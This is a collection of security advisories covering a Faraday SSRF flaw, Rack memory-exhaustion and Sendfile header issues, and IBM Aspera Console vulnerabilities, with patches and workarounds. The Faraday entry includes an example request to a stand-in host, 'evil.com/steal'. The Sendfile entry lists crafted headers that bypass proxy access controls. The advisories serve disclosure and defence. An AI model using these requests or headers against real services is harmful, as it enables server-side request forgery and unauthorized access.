Impact

Faraday's buildexclusiveurl method (in lib/faraday/connection.rb) uses Ruby's URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL's host/authority component.

This means that if any application passes user-controlled input to Faraday's get(), post(), buildurl(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF).

The ./ prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with /, so protocol-relative URLs bypass it entirely.

Example: ruby conn = Faraday.new(url: 'https://api.internal.com') conn.get('//evil.com/steal') # Request is sent to https://evil.com/steal instead of api.internal.com

Patches

Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.

Workarounds

NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.

Applications should validate and sanitize any user-controlled input before passing it to Faraday request methods. Specifically:

- Reject or strip input that starts with // followed by a non-/ character - Use an allowlist of permitted path prefixes - Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday

Example validation: ruby def safepath(userinput) raise ArgumentError, "Invalid path" if userinput.match?(%r{\A//[^/]}) userinput end

IBM Aspera Console 3.3.0 through 3.4.8 could allow an attacker to enumerate usernames due to an observable response discrepancy.

IBM Aspera Console 3.3.0 through 3.4.8 could allow a privileged user to cause a denial of service due to improper enforcement of behavioral workflow.

IBM Aspera Console 3.3.0 through 3.4.8 could allow an authenticated user to cause a denial of service in the email service due to improper control of interaction frequency.

IBM Aspera Console 3.4.0 through 3.4.8 is vulnerable to SQL injection. A remote attacker could send specially crafted SQL statements, which could allow the attacker to view, add, modify, or delete information in the back-end database.

Summary

Rack::Multipart::Parser can accumulate unbounded data when a multipart part’s header block never terminates with the required blank line (CRLFCRLF). The parser keeps appending incoming bytes to memory without a size cap, allowing a remote attacker to exhaust memory and cause a denial of service (DoS).

Details

While reading multipart headers, the parser waits for CRLFCRLF using:

ruby @sbuf.scanuntil(/(.?\r\n)\r\n/m)

If the terminator never appears, it continues appending data (@sbuf.concat(content)) indefinitely. There is no limit on accumulated header bytes, so a single malformed part can consume memory proportional to the request body size.

Impact

Attackers can send incomplete multipart headers to trigger high memory use, leading to process termination (OOM) or severe slowdown. The effect scales with request size limits and concurrency. All applications handling multipart uploads may be affected.

Mitigation

Upgrade to a patched Rack version that caps per-part header size (e.g., 64 KiB). Until then, restrict maximum request sizes at the proxy or web server layer (e.g., Nginx clientmaxbodysize).

Summary

Rack::Request#POST reads the entire request body into memory for Content-Type: application/x-www-form-urlencoded, calling rack.input.read(nil) without enforcing a length or cap. Large request bodies can therefore be buffered completely into process memory before parsing, leading to denial of service (DoS) through memory exhaustion.

Details

When handling non-multipart form submissions, Rack’s request parser performs:

ruby formvars = getheader(RACKINPUT).read

Since read is called with no argument, the entire request body is loaded into a Ruby String. This occurs before query parameter parsing or enforcement of any paramslimit. As a result, Rack applications without an upstream body-size limit can experience unbounded memory allocation proportional to request size.

Impact

Attackers can send large application/x-www-form-urlencoded bodies to consume process memory, causing slowdowns or termination by the operating system (OOM). The effect scales linearly with request size and concurrency. Even with parsing limits configured, the issue occurs before those limits are enforced.

Mitigation

Update to a patched version of Rack that enforces form parameter limits using queryparser.bytesizelimit, preventing unbounded reads of application/x-www-form-urlencoded bodies. Enforce strict maximum body size at the proxy or web server layer (e.g., Nginx clientmaxbodysize, Apache LimitRequestBody).

Summary

Rack::Multipart::Parser stores non-file form fields (parts without a filename) entirely in memory as Ruby String objects. A single large text field in a multipart/form-data request (hundreds of megabytes or more) can consume equivalent process memory, potentially leading to out-of-memory (OOM) conditions and denial of service (DoS).

Details

During multipart parsing, file parts are streamed to temporary files, but non-file parts are buffered into memory:

ruby body = String.new # non-file → in-RAM buffer @mimeparts[mimeindex].body << content

There is no size limit on these in-memory buffers. As a result, any large text field—while technically valid—will be loaded fully into process memory before being added to params.

Impact

Attackers can send large non-file fields to trigger excessive memory usage. Impact scales with request size and concurrency, potentially leading to worker crashes or severe garbage-collection overhead. All Rack applications processing multipart form submissions are affected.

Mitigation

Upgrade: Use a patched version of Rack that enforces a reasonable size cap for non-file fields (e.g., 2 MiB). Workarounds: Restrict maximum request body size at the web-server or proxy layer (e.g., Nginx clientmaxbodysize). Validate and reject unusually large form fields at the application level.

Summary

Rack::Multipart::Parser buffers the entire multipart preamble (bytes before the first boundary) in memory without any size limit. A client can send a large preamble followed by a valid boundary, causing significant memory use and potential process termination due to out-of-memory (OOM) conditions.

Details

While searching for the first boundary, the parser appends incoming data into a shared buffer (@sbuf.concat(content)) and scans for the boundary pattern:

ruby @sbuf.scanuntil(@bodyregex)

If the boundary is not yet found, the parser continues buffering data indefinitely. There is no trimming or size cap on the preamble, allowing attackers to send arbitrary amounts of data before the first boundary.

Impact

Remote attackers can trigger large transient memory spikes by including a long preamble in multipart/form-data requests. The impact scales with allowed request sizes and concurrency, potentially causing worker crashes or severe slowdown due to garbage collection.

Mitigation

Upgrade: Use a patched version of Rack that enforces a preamble size limit (e.g., 16 KiB) or discards preamble data entirely per RFC 2046 § 5.1.1. Workarounds: Limit total request body size at the proxy or web server level. Monitor memory and set per-process limits to prevent OOM conditions.

IBM Aspera Console 3.4.7 stores potentially sensitive information in log files that could be read by a local privileged user.

Summary

A possible information disclosure vulnerability existed in Rack::Sendfile when running behind a proxy that supports x-sendfile headers (such as Nginx). Specially crafted headers could cause Rack::Sendfile to miscommunicate with the proxy and trigger unintended internal requests, potentially bypassing proxy-level access restrictions.

Details

When Rack::Sendfile received untrusted x-sendfile-type or x-accel-mapping headers from a client, it would interpret them as proxy configuration directives. This could cause the middleware to send a "redirect" response to the proxy, prompting it to reissue a new internal request that was not subject to the proxy's access controls.

An attacker could exploit this by: 1. Setting a crafted x-sendfile-type: x-accel-redirect header. 2. Setting a crafted x-accel-mapping header. 3. Requesting a path that qualifies for proxy-based acceleration.

Impact

Attackers could bypass proxy-enforced restrictions and access internal endpoints intended to be protected (such as administrative pages). The vulnerability did not allow arbitrary file reads but could expose sensitive application routes.

This issue only affected systems meeting all of the following conditions:

The application used Rack::Sendfile with a proxy that supports x-accel-redirect (e.g., Nginx). The proxy did not always set or remove the x-sendfile-type and x-accel-mapping headers. The application exposed an endpoint that returned a body responding to .topath.

Mitigation

Upgrade to a fixed version of Rack which requires explicit configuration to enable x-accel-redirect:

ruby use Rack::Sendfile, "x-accel-redirect"

Alternatively, configure the proxy to always set or strip the headers (you should be doing this!):

nginx proxysetheader x-sendfile-type x-accel-redirect; proxysetheader x-accel-mapping /var/www/=/files/;

Or in Rails applications, disable sendfile completely:

ruby config.actiondispatch.xsendfileheader = nil

IBM Aspera Console 3.4.0 through 3.4.4 could allow a remote authenticated attacker to execute arbitrary code on the system, caused by a CSV injection vulnerability. By persuading a victim to open a specially crafted file, an attacker could exploit this vulnerability to execute arbitrary code on the system.

IBM Aspera Console 3.4.0 through 3.4.2 PL5 is vulnerable to cross-site scripting. This vulnerability allows users to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session. IBM X-Force ID: 238645.

IBM Aspera Console 3.4.0 through 3.4.2 PL5 is vulnerable to cross-site scripting. This vulnerability allows users to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session. IBM X-Force ID: 238645.